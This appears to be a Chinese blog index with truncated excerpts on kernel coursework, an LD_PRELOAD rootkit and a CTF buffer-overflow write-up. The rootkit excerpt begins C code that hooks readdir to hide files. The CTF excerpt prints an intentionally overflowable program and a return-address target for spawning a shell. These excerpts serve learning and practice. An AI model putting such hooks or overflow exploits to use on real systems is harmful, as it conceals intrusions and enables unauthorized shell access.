小朋友下樓梯輔助程式
小朋友下樓梯是啥? 它不僅是一個很狂的小遊戲 它更代表了我們的童年回憶 ![圖7](/images/pic7.png)...
小朋友下樓梯是啥? 它不僅是一個很狂的小遊戲 它更代表了我們的童年回憶 ![圖7](/images/pic7.png)...
前情提要 延續上一篇,這篇記錄Project主要內容的實作過程。 題目的要求是:For each page directory entry with an index located in the group of indexes specified by the parameters, this system call shows the value of the present field of the entry. 簡單說就是新增一個system call 讓它可以取得當前process的page global directory entry中的present bit 參數包含兩個integer代表起始和結尾index 和一個陣列指標參數,存放結果 ...
前情提要 因Linux Operating System課的project需要,人生第一次編Kernel就獻給他惹,所以怕忘就順手筆記一下。 環境 使用Ubuntu 16.04 LTS i386 Desktop 要編的Kernel是3.10版 過程 一開始當然要先裝好Linux環境(我是裝Ubuntu) 然後決定你要編的Kernel,並載下來解壓縮 (Kernel source可以到https://www.kernel.org 下載) 我這邊解壓縮出來後是linux-3.10.104/ 1 $ cd linux-3.10.104/ ...
LD_PRELOAD LD_PRELOAD是Linux/Unix下的環境變數,他可以決定預先要載入的共享函式庫 它比LD_LIBRARY_PATH指定的共用函式庫還要優先,因此LD_PRELOAD裡的全域符號會蓋掉後面載入的同名全域符號 所以我們可以利用LD_PRELOAD來達成Linux/Unix下的hook,要達到rootkit的效果也就輕而易舉 但這只對動態連結的程式有效,因為靜態連結函式庫的代碼都已經包進程式中 實作 因為ls用到readdir這個函數來實作 所以我們覆蓋掉libc裡面的readdir來實作rootkit 做法很簡單,載入libc中原本的readdir(我們叫它old_readdir) 然後把結果中有"HIDDEN"的都濾掉 code如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <stdio.h> #include <dirent.h> #include <string.h> #include <dlfcn.h> #include <sys/types.h> void *libc = NULL; struct dirent *(*old_readdir)(DIR *dirp); struct dirent *readdir(DIR *dirp) { struct dirent *ret = NULL; if (NULL == libc) { if (NULL == (libc = dlopen("/lib/libc....
第一題:BOF easy [ pwn ] 題目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> void l33t() { puts("Congrat !!Congrat"); system("/bin/sh"); } int main() { char buf[20]; puts("Buffer overerflow is easy"); printf("Read your input :"); fflush(stdout); read(fflush0,buf,100); return 0 ; } 解題思路 l33t()中有system("/bin/sh"),所以目標就是執行l33t() 由code可知buf長度20,但read()讀100個bytes,代表這裡可以buffer overflow 並且這題沒有ASLR,所以用objdump可以找出l33t()的address為0x80484fd 接著,只需要將main()的return address蓋成0x80484fd即可 payload: ...